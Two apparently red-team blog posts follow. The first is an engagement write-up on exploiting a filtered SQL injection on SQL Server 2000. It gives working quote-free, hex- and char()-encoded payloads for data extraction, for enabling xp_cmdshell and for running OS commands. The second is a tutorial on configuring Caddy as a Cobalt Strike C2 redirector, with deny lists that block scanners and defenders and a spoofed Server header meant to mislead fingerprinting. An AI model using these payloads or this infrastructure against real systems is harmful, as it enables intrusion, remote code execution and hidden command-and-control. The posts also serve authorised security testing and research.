-
Edoardo Novello - 13 Dec, 2026
Evading SQL Injection Filters to get RCE
Hex(Win2k rce) Introduction During a Red Team engagement, me and my colleague Edoardo (dodo) found a SQL Injection on a web application. The particularity was that we had to open 2 issues on sqlmap project and exploit them entirely manually including uncommon evasion techniques. We want to share this experience with the community because, in our opinion, this was a difficult exploitation scenario, an interesting case study and we hope that this post could be useful for the community. Target InformationWeb server operating system Web application technology back-end DBMS back-end languageWindows 2000 Microsoft IIS 5.0 Microsoft SQL Server 2000 ColdFusionInjection TechniqueError Based Stacked QueriesDuring the standard phases of initial crawling and fuzzing on the web application's parameters we found lots of SQL Syntax Error that led us into deep diving the exploitation of a possible SQL Injection. The classic "single quote" (') char was enough to break the query and trigger an error on the back-end. Usually, when I find a probable SQL Injection I try to manually guess the vector that allow me to exploit the vulnerability efficiently (Time Based vs Union Based). Therefore, the first phase is to find a way to inject the payload inside the query without triggering any error. Classic payloads like these didn't work as expected:' '' or 1=1 -- - 'or 'k'='k' or 99=99 #There was no way, apparently, to create an easy attack vector so we tried to run sqlmap on the vulnerable parameter and let it do the magic. Unfortunately, the tool was unable to create a working vector to bypass all filter restrictions. Filtered / problematic chars included: ', ", -, #, UNION. The back-end application was in debug mode allowing us to see the SQL errors on the web pages but even with this advantage, we weren't able to find a payload to avoid the logic breaking of the query and injecting our payload. SQL Injection without special chars If the web application is configured to print out all SQL errors it's possible to use the Error Based technique to exploit the injection. At this point, the situation started to be interesting because sqlmap was able to detect the Error Based vector but there was no way to extract more than one record per table. Classic functions like @@version or DB_NAME() worked but that was all that we could get from the database. The ROW_NUMBER() problem At this point, we had a useless sqlmap vector because we weren't able to extract much data from the DBMS. We had 2 problems:sqlmap uses the NOT IN operator to extract the data and needs a single quote to use it (we think that the first check is with the NOT IN function and a single quote as an alternative to nested queries). The ROW_NUMBER() function doesn't exist in this old DBMS (SQL Server 2000).Luckily the debug mode showed us the error: ROW_NUMBER() is not a supported function in Windows 2000 Server (Microsoft SQL Server 2000) We targeted a Windows SQL Server 2000 in which the function ROW_NUMBER() doesn't exist, so dodo created an issue on sqlmap's GitHub project which was quickly fixed:sqlmapproject/sqlmap#3776Now we can dump the content and we contributed to the project somehow: searching on Google it seems that this was a common issue which was never fixed so we are happy to have done that. In the meantime, we conducted the exploitation manually using the TOP operator (the equivalent of LIMIT in MySQL). The query on the back-end code was something like: SELECT * FROM table WHERE name = [INJECTION];Following there are some queries that may be useful to you, for example, to extract the DBMS version: SELECT * FROM table WHERE name = (SELECT convert(int, cast ((SELECT @@version) as varchar (8000))));Get the name of the first column of a table: select convert(int, cast((SELECT TOP 1 name FROM master..sysxlogins) as varchar(8000))) from syscolumnsGet the name of the second column using nested queries and NOT IN: select convert(int, cast((SELECT TOP 1 name FROM master..sysxlogins WHERE name NOT IN (SELECT TOP 1 name FROM master..sysxlogins)) as varchar(8000))) from syscolumnsThis exploitation is very interesting and didactic because the entire process of SQL Injection was exploited without using any type of quotes and on a single vulnerable parameter; very different from the classic fragmented technique or any real evasion method.Fragmented SQL injection attacks (Netsparker)Are we done? For us it was not enough to have found a technique to exploit manually this complex vulnerability without special chars, so we tried to turn this SQLi into a Remote Code Execution. The first payload we tried was: 1; WAITFOR DELAY 0x303a303a36This MSSQL stacked query payload worked because it didn't use any special char: the payload is injected using a simple hex-encoding. So the next step is to find a way to use xp_cmdshell and execute some commands. After some manual attempts, we decided to give sqlmap another chance to exploit this vulnerability; it was at that moment that we discovered another bug or likewise a missing feature. Stacked queries without single quotes The classic stacked query payload for sqlmap is something like: 1; WAITFOR DELAY '0:0:6'As you can imagine the use of single quotes was a problem for our injection but we found a way to avoid quotes using HEX strings and the DECLARE statements. We also noticed that it was possible to close the query with just 1; without using quotes, probably this can be blocking if you need to use single quotes. 1; DECLARE @x char(9); SET @x=0x303a303a34; WAITFOR DELAY @xWe decided to report this missing feature to the sqlmap project:sqlmapproject/sqlmap#3780sqlmap partially fixed the issue but the exploitation of xp_cmdshell and xp_dirtree remained manual. We want a shell!!! Dumping a database during a Red Team engagement is the starting point to scale to domain admin π (or maybe further), and also shells are like drugs for hackers; so digging into this vulnerability we were able to have an interactive prompt shell. The standard process to get code execution with a SQLi on MSSQL is: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;Using that payload in our particular case required some manipulations since we needed to encode the string in HEX format. Essentially the char() and HEX (0x...) evasions worked for us because the web application can't filter these characters. Enable xp_cmdshell (hex-encoded): 1; DECLARE @x char(9); SET @x=0x73686f7720616476616e636564206f7074696f6e73; EXEC sp_configure @x, 1; RECONFIGURE; DECLARE @x char(9); SET @x=0x78705f636d647368656c6c; EXEC sp_configure @x, 1; RECONFIGURE;Run a command (e.g. dir via char()): 1; DECLARE @x char(9); SET @x=char(100)+char(105)+char(114); EXEC master..xp_cmdshell @x;The variable @x is the command converted into single ASCII characters. In the above payload the command dir is executed. To retrieve the content of the command's output we decided to use a support table: 1; drop table temptable; create table temptable (output nvarchar(4000) null); declare @t nvarchar(4000) set @t=char(100)+char(105)+char(114) insert into temptable(output) EXEC master..xp_cmdshell @t;This payload deletes the existing table, creates a new empty one and puts the command's output inside it. The executed command is inside the variable @t (here: char(100)+char(105)+char(114) = dir). Now comes an interesting technique which can save our time If you use sqlmap to automate the process the entire output of the OS command is retrieved using the same technique used in the injection. In 90% of cases using stacked queries, the output is retrieved using Time Based payloads. Instead of relying on the tool we exploited it manually using the Error Based technique. We can easily and quickly extract the first record from our temporary table: (select convert(int, cast((SELECT TOP 1 output FROM temptable) as varchar(8000))) from syscolumns)In the end, we created a custom script that took the command to execute and encoded it using the char() function. This script also executed the command and automatically retrieved the output using a text file created inside the webroot. You can find the script here:Gist: notdodo/caeaaed544d595f1789cc2520cac7b7cFeel free to contact us whenever you want.
-
Edoardo Novello - 25 Nov, 2021
C2 Redirectors Using Caddy
Using Caddy to spin up fast and reliable C2 redirectors. Giving Caddy redirectors some love The consultant's life is a difficult one. New business, new setup and sometimes you gotta do everything in a hurry. We are not a top notch security company with a fully automated infra. We are poor, rookies and always learning from the best. We started by reading several blogposts that can be found on the net, written by people much more experienced than us, realizing that redirectors are almost always based on apache and nginx, which are great solutions! but we wanted to explore other territoriesβ¦ just to name a few:Praetorian's approach to red team infrastructure Testing your red team infrastructure β MDSec Modern red team infrastructure β NetSPI Designing effective covert red team attack infrastructure β Bluescreen of Jeffand many othersβ¦ despite the posts described above that are seriously top notch level, we decided to proceed taking inspiration from our fellow countryman Marcello aka byt3bl33d3r which came to the rescue!Taking the pain out of C2 infrastructure β byt3bl33d3rAs you can see from his post, Marcello makes available to us mere mortals a quick configuration, which prompted us to want to deepen the argument. Why Caddy Server? Caddy was born as an opensource webserver specifically created to be easy to use and safe. it is written in go and runs on almost every platform. The added value of Caddy is the automatic system that supports the ability to generate and renew certificates automatically through let's encrypt with basically no effort at all. Another important factor is the configurative side that is very easy to understand and more minimalist, just what we need! Let's Configure!Do you remember byt3bl33d3r's post listed just above? (Of course, you wrote it 4 lines higherβ¦) let's take a cue from it! First of all let's install Caddy Server with the following commands: (We are installing it on a AWS EC2 instance) sudo yum updateyum install yum-plugin-copr yum copr enable @caddy/caddy yum install caddyOnce installed, let's go under /opt and create a folder named /caddy or whatever you like. And inside create the Caddyfile. At this point let's populate the /caddy with our own Caddyfile and relative folder structure and configurations. To make things clearer, here we have a tree of the structure we are going to implement:The actual Caddyfile The filters folder, which will contain our countermeasures and defensive mechanisms the sites folder, which will contain the domains for our red team operation and relative logfiles the upstreams folder, which will contain the entire upstreams part the www folder, which will contain the sites if we want to farm a categorization for our domains, like hosting a custom index.html or simply clone an existing one because we are terrible individuals.. βββ Caddyfile βββ filters β βββ allow_ips.caddy β βββ bad_ips.caddy β βββ bad_ua.caddy β βββ headers_standard.caddy βββ sites β βββ cdn.aptortellini.cloud.caddy β βββ logs β βββ cdn.aptortellini.cloud.log βββ upstreams β βββ cobalt_proxy_upstreams.caddy β βββ reverse_proxy β βββ cobalt.caddy βββ www βββ cdn.aptortellini.cloud βββ index.htmlCaddyfile This is the default configuration file for Caddy: # This are the default ports which instruct caddy to respond where all other configuration are not matched :80, :443 { # Default security headers and custom header to mislead fingerprinting header { import filters/headers_standard.caddy } # Just respond "OK" in the body and put the http status code 200 (change this as you desire) respond "OK" 200 }#Import all upstreams configuration files (only with .caddy extension) import upstreams/*.caddy#Import all sites configuration files (only with .caddy extension) import sites/*.caddyWe decided to keep the Caddyfile as clean as possible, spending some more time structuring and modulating the .caddy files. Filters folder This folder contain all basic configuration for the web server, for example:list of IP to block list of User Agents (UA) to block default implementation of security headersbad_ips.caddy remote_ip mal.ici.ous.ipsStill incomplete but usable list we crafted can be found here: her0ness/av-edr-urls bad_ua.caddy This will block all User-Agent we don't want to visit our domain. header User-Agent curl* header User-Agent *bot*A very well done bad_ua list can be found, for example, here: nginx-ultimate-bad-bot-blocker β bad-user-agents.list headers_standard.caddy # Add a custom fingerprint signature Server "Apache/2.4.50 (Unix) OpenSSL/1.1.1d"X-Robots-Tag "noindex, nofollow, nosnippet, noarchive" X-Content-Type-Options "nosniff"# disable FLoC tracking Permissions-Policy interest-cohort=()# enable HSTS Strict-Transport-Security max-age=31536000;# disable clients from sniffing the media type X-Content-Type-Options nosniff# clickjacking protection X-Frame-Options DENY# keep referrer data off of HTTP connections Referrer-Policy no-referrer-when-downgrade# Do not allow to cache the response Cache-Control no-cacheWe decided to hardly customize the response Server header to mislead any detection based on response headers. Sites folder You may see this folder similar to sites-available and sites-enabled in nginx; where you store the whole host configuration. Example front-end redirector (cdn.aptortellini.cloud.caddy) From our experience (false, we are rookies) this file should contain a single host because we have decided to uniquely identify each individual host, but feel free to add as many as you want, You messy! https://cdn.aptortellini.cloud { # Import the proxy upstream for the cobalt beacon import cobalt_proxy_upstream # Default security headers and custom header to mislead fingerprinting header { import ../filters/headers_standard.caddy } # Put caddy logs to a specified location log { output file sites/logs/cdn.aptortellini.cloud.log format console } # Define the root folder for the content of the website if you want to serve one root * www/cdn.aptortellini.cloud file_server }Upstreams folder The file contains the entire upstream part, the inner part of the reverse proxy has been voluntarily detached because it often requires individual ad-hoc configurations. cobalt_proxy_upstreams Handle directive: Evaluates a group of directives mutually exclusively from other handle blocks at the same level of nesting. The handle directive is kind of similar to the location directive from nginx config: the first matching handle block will be evaluated. Handle blocks can be nested if needed. To make things more comprehensive, here we have the sample of http-get block adopted in the Cobalt Strike malleable profile:# Just a fancy name (cobalt_proxy_upstream) { # This directive instruct caddy to handle only request which begins with /ms/ (http-get block config pre-defined in the malleable profile for testing purposes) handle /ms/* { # This is our list of User Agents we want to block @ua_denylist { import ../filters/bad_ua.caddy } # This is our list of IPs we want to block @ip_denylist { import ../filters/bad_ips.caddy } header { import ../filters/headers_standard.caddy } # Respond 403 to blocked User-Agents route @ua_denylist { redir https://cultofthepartyparrot.com/ } # Respond 403 to blocked IPs / redirect to decoy route @ip_denylist { redir https://cultofthepartyparrot.com/ } # Reverse proxy to our cobalt strike server on port 443 https import reverse_proxy/cobalt.caddy } }Reverse proxy folder The reverse proxy directly instruct the https stream connection to forward the request to the teamserver if the rules above are respected. Cobalt Strike redirector to HTTPS endpoint reverse_proxy https://<cobalt_strike_endpoint> { # This directive put the original X-Forwarded-for header value in the upstream X-Forwarded-For header, you need to use this configuration for example if you are behind cloudfront in order to obtain the correct external ip of the machine you just compromised header_up X-Forwarded-For {http.request.header.X-Forwarded-For} # Standard reverse proxy upstream headers header_up Host {upstream_hostport} header_up X-Forwarded-Host {host} header_up X-Forwarded-Port {port} # Caddy will not check for SSL certificate to be valid if we are defining the <cobalt_strike_endpoint> with an ip address instead of a domain transport http { tls tls_insecure_skip_verify } }WWW This folder is reserved if you want to put a website in here and manually categorize it. Or take a cue from those who do things better than we do: Chameleon β MDSec Starting Caddy Once started, caddy will automatically obtain the SSL certificate. Remember to start Caddy in the same folder where you placed your Caddyfile! sudo caddy startTo reload the configuration, you can just run the following command in the root configuration folder of Caddy: sudo caddy reloadGetting a CS Beacon Everything worked as expected and the beacon is obtained.A final thought This blogpost is just the beginning of a series focused on making infrastructures for offensive security purposes, in the upcoming months we will expand the section with additional components. With this we just wanted to try something we never tried before, and we know there are multiple ways to expand the configuration or make it even better, so, if you are not satisfied with what we just wrote, feel free to offend us: we won't take it personally, promise.